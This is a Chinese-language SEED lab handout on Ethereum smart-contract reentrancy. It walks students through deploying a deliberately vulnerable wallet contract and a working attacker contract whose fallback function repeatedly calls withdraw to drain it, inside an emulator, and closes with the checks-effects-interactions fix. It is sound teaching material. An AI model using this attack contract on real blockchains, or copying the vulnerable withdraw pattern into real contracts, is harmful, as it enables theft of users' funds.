# 智能合约重入攻击



## 1 概述

针对 DAO（去中心化自治组织）的攻击是以太坊早期发展历史上发生的一起重大的攻击事件。当时，该合约持有金额超过 1.5 亿美元。重入在攻击中起了主要作用，最终导致以太坊区块链不得已做了硬分叉，形成了两个独立的区块链，以太坊（ETH）和以太坊经典（ETC）[1,2]。截止 2022 年，重入攻击仍然是以太坊上常见的攻击 [3]。

本实验的目的是让学生亲身体验重入攻击。学生将获得两个智能合约，一个是有漏洞的合约（受害者合约）和一个用于攻击的合约。学生将完整地经历攻击过程，目睹攻击如何将受害者合约中的资金全部盗取。攻击将在 SEED 仿真器上进行，仿真器内部部署了以太坊区块链。本实验涵盖的主题如下：

- 重入攻击
- 区块链和智能合约
- 与区块链交互
- SEED 互联网仿真器

**实验环境。** 本实验在我们预先构建好的 Ubuntu 20.04 VM（可以从我们的 SEED 网站当中下载）当中测试可行。既然我们使用容器来建立实验环境，本实验不太依赖 SEED VM。您可以在其他 VM、物理机器以及云端 VM 上进行此实验。我们建议学生使用的虚拟机有至少两个 CPU 核和 4GB 的内存。

**给教师的说明。** 重入攻击是针对智能合约的经典攻击。尽管本实验将介绍一些基础知识，但它并不旨在成为关于这种攻击的教程。我们建议教师在将该实验分配给学生之前，先在课堂上讲解这种攻击方式。此外，学生也可以通过在线资源 [2] 进一步了解这种攻击。

## 2 实验设置和 SEED 互联网仿真器

### 2.1 仿真器

本实验将在 SEED 互联网仿真器（以下简称仿真器）中进行。如果这是你第一次使用仿真器，阅读本节非常重要，同时建议教师们组织专门的实验课程帮助学生了解和熟悉仿真器的操作。

**下载仿真器文件。** 请从网页上下载 `Labsetup.zip` 文件，解压缩后会得到仿真器文件。这些仿真器文件存储在 `Labsetup/emulator_*` 文件夹中。对于 AMD64 机器，文件夹名为 `emulator_NN`；对于 Apple 硅芯片机器，则为 `emulator_arm_NN`。数字 `NN` 表示区块链网络上的节点数量。如果虚拟机的内存小于 4GB，建议学生选择较小的版本。

要运行仿真器，我们只需要这些容器文件。这些文件是由 `Labsetup/emulator_code` 文件夹中的 Python 代码生成的。除非你想修改仿真器文件，否则无需运行该代码（需要从 GitHub 安装 SEED Emulator 库才能运行此代码）。希望修改仿真器的老师可以修改 Python 代码并生成自己的仿真器文件。

为了简化操作，在仿真器内部运行的区块链使用的是 Proof-of-Authority （PoA）共识协议，而不是在 MAINET 中使用的 Proof-of-Stake 协议。实验中的活动不依赖于任何特定共识协议。

**启动仿真器。** 进入 `emulator` 文件夹，并运行以下 docker 命令以构建和启动容器。下面列出的命令是在 SEED VM 上创建的别名。如果您不是使用 SEED VM，可以使用原始命令。

```
$ dcbuild       # 别名为: docker-compose build
$ dcup          # 别名为: docker-compose up
```

我们建议您在提供的 SEED Ubuntu 20.04 虚拟机中运行仿真器，但在安装了 docker 软件的普通 Ubuntu 20.04 操作系统上进行操作也不会有问题。对于较新的操作系统版本，`docker-compose` 命令已被集成到 `docker` 命令中，您可以使用 `"docker compose"` 替代 `docker-compose` 运行它。读者可以从此链接找到 docker 手册。如果您是首次使用容器设置 SEED 实验环境，阅读用户手册非常重要。

所有容器都在后台运行。要对容器执行命令，我们通常需要在该容器上获取一个 shell。首先，我们需要使用 `docker ps` 命令来找到容器的 ID，然后使用 `docker exec` 在该容器上启动一个 shell。我们在 `.bashrc` 文件中为此创建了别名。

```
$ dockps        // 别名为: docker ps --format "{{.ID}}  {{.Names}}"
$ docksh <id>   // 别名为: docker exec -it <id> /bin/bash

// 以下示例说明如何在 hostC 上获取 shell
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// 注意: 如果 docker 命令需要容器 ID, 不需要输入完整的 ID,
//       输入前面的一部分就可以了, 只要能唯一匹配一个 ID 就行。
```

如果您在设置实验环境时遇到问题，请阅读手册中的 “常见问题” 部分以获取解决方案。

**停止仿真器。** 要停止仿真器，我们只需停止所有容器。我们可以回到运行 `"docker-compose up"` 命令的终端中，输入 `Ctrl-C`。这将停止所有容器但不会删除它们，即容器中的数据仍然保留，并可以通过再次运行 `"docker-compose up"` 来恢复容器的运行。如果我们想要删除它们，则可以运行 `"docker-compose down"` 命令。另一种方法是打开一个不同的终端（但仍处在 `emulator` 文件夹中），直接运行该命令。这将停止并删除所有容器。

```
$ dcdown        # 别名为: docker-compose down
```

**EtherView.** 我们实现了一个名为 EtherView 的简单 Web 应用程序，以显示区块链上的活动。如果想使用这个应用程序，将浏览器（在 VM 中）指向 http://localhost:5000/。在 Blocks 页面中，您可以看到新创建的区块和最近的交易。如果没有人发送交易，则区块大多是空的，即不包含任何交易。一旦我们开始发送交易，我们应该能够看到它们。用户可以点击区块和交易来查看它们的详细信息。

## 2.2 客户端代码

与以太坊网络交互的方式多种多样，包括使用 Remix、Metamask 和 Hardhat 等现有工具。在本实验中，我们选择自己的 Python 程序，该程序使用 web3.py 库来实现交互。为了简化操作，我们编写了一些辅助函数，并将它们集成在 SEEDWeb3.py 文件中。在本实验的大多数示例程序中，我们都将使用这个库。所有相关的程序代码都可以在 Labsetup 目录下找到。

web3.py 库尚未在 SEED Ubuntu 20.04 VM 上安装。学生需要安装该库。我们需要安装一个旧版本的 web3 库（版本 5.31.1），否则我们的代码将无法运行。参见以下命令：

```
$ pip3 install web3==5.31.1
```

## 2.3 连接到区块链

和区块链进行交互需要通过其中的一个节点来操作。这通常可以通过 HTTP 或 WebSocket 与区块链节点建立连接。在我们的仿真器中，所有以太坊节点上都已打开了 HTTP 服务。要想连接到某个节点，我们只需要提供该节点的 IP 地址和端口号 8545。以下是连接到其中一个节点的示例。

```
# 连接到 geth 节点
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545')
```

## 2.4 账户

为了在区块链上发起交易，我们需要一个包含账户（包括公钥和私钥）的钱包，这些账户必须持有足够的余额来支付交易所需的 gas 费用。在每个以太坊节点上，我们已经预设了几个带有余额的账户。我们将使用这些账户来执行交易。连接到以太坊节点后，我们可以通过 web3.eth.accounts[] 数组来访问所有账户。在下面的示例中，我们选择使用 web3.eth.accounts[1] 进行操作。在仿真器中，所有账户（包括它们的私钥）都是加密保护的，解锁账户需要使用密码 admin。因此，在开始使用账户之前，我们首先需要使用该密码解锁它。

```
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
```

为了获取账户余额信息，我们提供了一个名为 get_balance.py 的 Python 程序，该程序打印出与我们连接的节点上所有账户的余额。它通过调用 web3.py 库中的 API 来实现其功能。以下是实现细节：

```
web3.eth.get_balance(Web3.toChecksumAddress(address))
```

# 3 任务 1：熟悉受害者智能合约

以下代码是我们即将攻击的目标，一个存在漏洞的智能合约。这个合约作为受害者合约，其功能相当于一个用户钱包：用户可以向此合约存入任意数量的以太币，并且可以在之后提取资金。该合约的代码存放于Labsetup/contract 目录下。

Listing 1: The vulnerable smart contract (ReentrancyVictim.sol)

```
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.8;

contract ReentrancyVictim {
    mapping (address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;
    }

    function getBalance(address _addr) public view returns (uint) {
        return balances[_addr];
    }

    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

以下部分阐述了合约中每个函数的功能及其工作原理。请注意，本实验假设学生已经掌握了一些智能合约编程的基础知识。

- deposit()：该函数由那些希望将他们的以太币存入智能合约的用户调用，当这个函数被调用时，msg.sender 包含发送者的账户地址，msg.value 包含他们存入的以太币数量。此函数会更新一个名为 balances 的数据结构，这是智能合约内部维护的一个余额表。

  由于该函数带有 payable 修饰符，它具备发送和接收以太币的能力。当此函数接收到以太币时，合约账户的余额将自动更新。这个余额反映了智能合约账户持有的以太币数量，它被记录在整个区块链的账户余额表中。

- `getBalance()`：该函数接受一个地址作为参数，并返回该地址在智能合约中持有的以太币数量。
- `getContractBalance()`：此函数返回智能合约的总余额，这个余额是由区块链本身维护的，因此我们可以直接从区块链中获取余额信息，而不必调用这个函数。如果合约正确更新了其内部余额表，那么总余额应该等于内部余额表中所有余额的总和。
- `withdraw()`：该函数接受一个参数，即调用者希望提取的以太币数量。它的执行依赖于调用者，因为在函数实现中使用了 `msg.sender`，函数调用者不能提取超出其在智能合约中持有的以太币。函数的第一行负责检查调用者余额是否充足。如果某人试图提取的以太币超出其拥有的数量，程序将终止执行。如果余额检查通过，调用者将能够提取指定数量的以太币。以太币转移是通过 `call` 这个低级函数来完成的，随后智能合约的内部余额表会更新，因为账户中的以太币减少了，区块链也会自动更新该智能合约账户的余额。这个函数存在一个重入漏洞，这正是我们将要利用的攻击。我们将在后面详细解释攻击的运作方式。

## 3.1 任务 1.a：编译合约

在 Solidity 的较新版本中，已经有了针对重入问题的对策。因此，我们将使用一个较旧的版本 0.6.8 来编译代码。编译器 (`solc-0.6.8`) 位于 `contract` 目录下。我们可以通过以下命令来编译合约。

```
solc-0.6.8 --overwrite --abi --bin -o . ReentrancyVictim.sol
```

编译完成后将生成两个文件：`bin` 文件和 `abi` 文件。`bin` 文件包含了合约编译后的代码，这些代码在合约被部署后会存储在区块链上。`abi` 文件代表应用程序二进制接口，包含了合约的 API 信息。当我们与合约进行交互时，这些信息是必需的，通过这些信息我们可以得知函数的名称、参数和返回值。

## 3.2 任务 1.b：部署受害者合约

在本任务中，我们将把受害者合约部署到区块链上。实现这一步骤的方法多种多样，在本实验中，我们选择使用自己的 Python 程序进行部署。相关的程序代码存储在 `Labsetup/victim` 目录下。

Listing 2: 部署受害者合约 (`deploy_victim_contrac.py`)

```
abi_file = "../contract/ReentrancyVictim.abi"
bin_file = "../contract/ReentrancyVictim.bin"

# 连接到 geth 节点
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545')

# 我们使用 web3.eth.accounts[1] 作为发送者，因为它拥有更多的以太币
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")
addr = SEEDWeb3.deploy_contract(web3, sender_account,
                                abi_file, bin_file, None)  ①
print("Victim contract: {}".format(addr))
with open("contract_address_victim.txt", "w") as fd:
    fd.write(addr)
```

实际部署合约的代码在 SEEDWeb3 库中（Line ① 中的调用）。以下代码片段展示了基本过程，它根据合约的 abi 和字节码创建了一个 Contract 类实例，然后通过这个实例创建并发送一个交易来部署合约。

```
contract = web3.eth.contract(abi=abi, bytecode=bytecode)
contract.constructor(...).transact({ 'from': sender_account })
```

### 3.3 任务 1.c：与受害者合约交互

合约部署完成后，我们将从一些用户的账户向这个合约存入资金（之后，攻击者将会窃取这些资金）。代码包含在 fund_victim_contract.py 文件中。在该代码中，变量 victim_addr(在①) 用于保存合约的地址，学生需要用从部署步骤中实际获得的合约地址替换该变量的值。我们选择从一个以太坊节点向合约中存入资金，在这个例子中，我们使用了 IP 地址为 10.151.0.71 的节点，学生可以根据自己的情况选择其他节点。

Listing 3: 存钱 (fund_victim_contract.py)

```
abi_file    = "../contract/ReentrancyVictim.abi"
victim_addr = '0x2c46e14f433E36F17d5D9b1cd958eF9468A90051'  ①

# 连接到我们的 geth 节点，选择发送者账户
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545')
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount(sender_account, "admin")

# 向受害者合约存入以太币
# 攻击者将在稍后的攻击中窃取它们
contract_abi  = SEEDWeb3.getFileContent(abi_file)
amount = 10  # 单位是ether
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash  = contract.functions.deposit().transact({
                    'from':  sender_account,
                    'value': Web3.toWei(amount, 'ether')
                })
print("Transaction sent, waiting for the block ...")
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction Receipt: {}".format(tx_receipt))
```

我们也可以从合约中提取资金，下面的代码示例展示了如何从合约中提取 1 个以太币，并打印出提取后发送者账户的余额。

Listing 4: 提取资金 (withdraw_from_victim_contract.py)

```
amount = 1
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash  = contract.functions.withdraw(Web3.toWei(amount, 'ether')).transact({
```

```
                    'from':  sender_account
                })
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

# 通过本地调用打印出我的账户余额
myBalance = contract.functions.getBalance(sender_account).call()
print("My balance {}: {}".format(sender_account, myBalance))
```

**实验任务：** 请向受害者合约中存入 30 个以太币，然后从中提取 5 个以太币，并打印出合约账户的余额。

# 4 任务 2：攻击合约

为了对受害者合约实施重入攻击，攻击者必须首先部署一个专门的攻击智能合约。在实验设置中，我们已经提供了这样一个攻击合约的示例，其代码如下所示。

Listing 5: The attack contract (`ReentrancyAttacker.sol`)

```
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.8;

import "./ReentrancyVictim.sol";

contract ReentrancyAttacker {
    ReentrancyVictim public victim;
    address payable _owner;

    constructor(address payable _addr) public {
        victim = ReentrancyVictim(_addr);
        _owner = payable(msg.sender);
    }

    fallback() external payable {
        if(address(victim).balance >= 1 ether) {
            victim.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "You need to send 1 Ether when attacking");
        victim.deposit{value: 1 ether}();
        victim.withdraw(1 ether);
    }

    function getBalance() public view returns (uint) {
```

```
        return address(this).balance;
    }

    function cashOut(address payable _addr) external payable {
        require(msg.sender == _owner);
        _addr.transfer(address(this).balance);
    }
}
```

这个合约中最关键的函数是 attack() 和 fallback()，我们将详细说明如何利用这些函数来窃取受害者合约中的所有资金。

在部署攻击者合约后，攻击者会调用 attack() 函数并向该合约发送至少 1 个以太币。attack() 函数通过调用受害者合约的 deposit() 函数，将 1 个以太币存入受害者合约。存入资金后，攻击者合约会立即尝试从受害者合约中提取 1 个以太币。这个操作触发了重入攻击，让我们看一下当 withdraw() 函数被调用时会发生什么，以下是受害者合约中 withdraw() 函数的代码。

```
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);            ①

    (bool sent, ) = msg.sender.call{value: _amount}(""); ②
    ...

    balances[msg.sender] -= _amount;                     ③
}
```

Line ① 负责验证发送者 (msg.sender) 是否拥有足够的余额以完成交易（如果没有，调用将失败），msg.sender 包含调用合约的地址。由于受害者合约是由攻击合约调用的，所以 msg.sender 实际上是攻击合约的地址。

通过余额检查后，合约便会使用 msg.sender.call 发送指定数量的以太币（Line ② ）。这将把指定数量的以太币发送回 msg.sender，即攻击合约。这个环节正是安全漏洞所在。

通常情况下，智能合约通过它的函数来接收资金（该函数必须指明是 payable），但如果资金不是通过调用这种函数接收来的（例如，通过另一个合约内的 call() 函数），则会调用默认的 fallback() 函数。以下展示了攻击合约中的 fallback() 函数。

```
fallback() external payable {
    if(address(victim).balance >= 1 ether) {  ④
    victim.withdraw(1 ether);
}
}
```

此函数将再次调用 withdraw() 函数，由于受害者合约的余额还没来被更新（在 Line ③ ），因此即使攻击者的余额已经耗尽，调用依然会将通过 Line ① 的余额检查，这将再次触发攻击合约中的 fallback() 函数，进而再次调用受害者合约的 withdraw() 函数。这一过程将不断循环，直至受害者合约的余额低于 1 个以太币（Line ④ ）。以下是函数调用序列。

```
withdraw --> fallback --> withdraw --> fallback --> withdraw ...
```

**任务。** 在本任务中，你需要部署攻击合约。代码已经提供，它与部署受害者合约使用的代码类似。需要注意的是，攻击合约必须知道受害者合约的确切地址以便正确执行攻击。因此，学生需要对 deploy_attack_contract.py 代码进行相应的修改，确保其包含了受害者合约的正确地址。

# 5 任务 3：发起重入攻击

为了执行攻击，我们只需要调用攻击合约的 attack() 函数。在调用此函数时，我们需要向合约发送 1 个以太币，攻击合约会把这个以太币先存入受害者合约，否则它将无法从受害者合约中提取资金。实验设置中提供了相应的代码（如下所示），但需要修改代码中攻击合约的地址。

Listing 6: The code to launch the attack (deploy_attack_contract.py)

```
abi_file      = "../contract/ReentrancyAttacker.abi"
attacker_addr = 'put the correct address here'

# 发起攻击
contract_abi  = SEEDWeb3.getFileContent(abi_file)
contract = web3.eth.contract(address=attacker_addr, abi=contract_abi)
tx_hash  = contract.functions.attack().transact({
                'from':  sender_account,
                'value': Web3.toWei('1', 'ether')
            })
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("交易收据: {}".format(tx_receipt))
```

你需要展示成功地通过攻击窃取到了受害者合约中的所有资金，可以利用 get_balance.py 脚本来打印出任意账户的余额，以便于监控账户资金的变化。在成功窃取所有资金之后，你可以通过 cashout.py 脚本将资金从攻击智能合约转移到攻击者控制的另一个账户中。

# 6 任务 4：对策

有不少方法可以用来避免智能合约中潜在的重入漏洞，有兴趣的读者可以参考 [2] 了解详细信息。其中一种常见的技术是确保所有改变状态变量的逻辑发生在以太币发出（或任何外部调用）之前。在受害者合约中，余额的更新是在外部调用之后进行的，所以如果调用不返回，余额将不会被更新。在智能合约程序中，一个好的习惯是将所有对未知地址的外部调用放在局部函数或代码执行的最后进行，这种方法被称为 checks-effects-interactions 模式。

遵循这一原则，我们可以很容易地修复问题。参见以下示例，请修改受害者合约，然后再次尝试攻击，并报告你的观察结果。

```
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
```

```
balances[msg.sender] -= _amount;

(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
```

**注意：** 较新的 Solidity 版本已经内置了针对重入攻击的保护，然而官方文档中没有给出足够的细节，在以太坊 GitHub 仓库中，有一个讨论议题 `https://github.com/ethereum/solidity/issues/12996` 详细讨论了这一特性。如果你熟悉这个编译器特性，请与我们联系，以便我们可以基于这些保护机制添加一些相关的实验任务。

# 7 提交

你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。

# 致谢

本实验是在雪城大学电气工程与计算机科学系研究生 Rawi Sader 的帮助下开发的。

# 参考文献

[1] Phil Daian, “Analysis of the DAO exploit”, 2016, `https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/`

[2] Andreas M. Antonopoulos and Gavin Wood, “Mastering Ethereum”, 2018, `https://github.com/ethereumbook/ethereumbook`

[3] GitHub Contributor, “A Historical Collection of Reentrancy Attacks”, 2022, `https://github.com/pcaversaccio/reentrancy-attacks`